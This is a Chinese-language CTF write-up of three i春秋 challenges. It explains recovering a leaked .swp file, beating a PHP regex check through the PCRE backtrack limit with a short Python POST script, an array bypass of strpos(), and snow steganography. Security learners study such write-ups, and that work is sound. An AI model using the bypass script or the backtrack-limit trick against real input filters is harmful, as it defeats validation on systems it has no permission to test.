「CTF心得」i春秋不歡樂賽漲的姿勢

「CTF心得」i春秋不歡樂賽漲的姿勢

資源介紹參數
資源類別: 代碼筆記
如遇問題: 聯繫客服/留言反饋
釋放雙眼,帶上耳機,聽聽看~!
gift php plus 這題就比較有意思了(個屁)首先提示 Do you know .swp file?然後用WangYiHang大佬的工具掃一下後台,找到.index.php.swp這個文件,然後扔到Linux里用vi恢復。vi -r 文件名 #swp文件是vi不正常登出產生的,用-r可以恢復...

gift php plus

這題就比較有意思了(個屁)
首先提示 Do you know .swp file?
然後用WangYiHang大佬的工具掃一下後台,找到.index.php.swp這個文件,然後扔到Linux里用vi恢復

vi -r 文件名 #swp文件是vi不正常登出產生的,用-r可以恢復

然後審計代碼

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}

$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        if(strpos($greeting,'Merry Christmas')!==false){
            echo 'Merry Christmas. '.'flag{xxxxxx}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
}
?>

代碼很簡單,繞過條件也很清晰
1.傳入不為陣列
2.不匹配 /Merry.*Christmas/is這個正則
3.strpos($greeting,'Merry Christmas')不等於fales
也就是說傳入的參數要帶有Merry Christmas又要不滿足/Merry.*Christmas/這個正則,一開始也是毫無頭緒,後來在大佬的提示下,知道了利用php的PCRE回溯次數限制繞過這個正則。
具體的因為php的回溯是有上限的
var_dump(ini_get('pcre.backtrack_limit'));//1000000
如果超過這個上限就返回一個false。也是就說,在匹配到*號時,他會匹配任意個字符,那麼我們傳入1000000個字符,然後他匹配全部的字符後,要開始驗證下一個匹配,這個體力就是C,然後他開始從最後一個往前回溯,這裡有1000000個字符+Christmas然後當他回溯1000000個後沒匹配到C那麼他就返回一個False。就饒過了。
這裡在寫的時候還碰到了一個問題,就是strpos()函式,當Merry Christmas+100w個字符傳入後,strpos()應該匹配的是他的位置,然而Merry Christmas他在首位所以應該返回0,在弱比較下0應該等於false,想了很久才發現這裡是強比較。嗯wcsl。。。
附一個繞過腳本

import requests

url='http://106.75.66.87:8888/'
longStr=''
for i in range(1000000):
    longStr+='a'
greeting={
    'greeting':'Merry Christmas'+longStr
}
res = requests.post(url=url,data=greeting)
print(res.text)

gift php

這裡的代碼和上面的式樣的,就是沒有判斷陣列,strpos()碰到陣列的時候會返回false,所以傳一個陣列即可繞過

gift

也是和群里的大佬交流後得到提示,這裡用的是html隱寫技術,snow隱寫,題目提示鑰匙上刻了題目名呢。發現key就是title gift。然後丟到snow解密網站揭秘一下就iu好了。
snow解密連接

聲明:本文為原創作品,版權歸作者所有。未經許可,不得轉載或用於任何商業用途。如若本站內容侵犯了原著者的合法權益,可聯繫我們進行處理。

給TA打賞
共{{data.count}}人
人已打賞
0 條回復 A文章作者 M管理員
    暫無討論,說說你的看法吧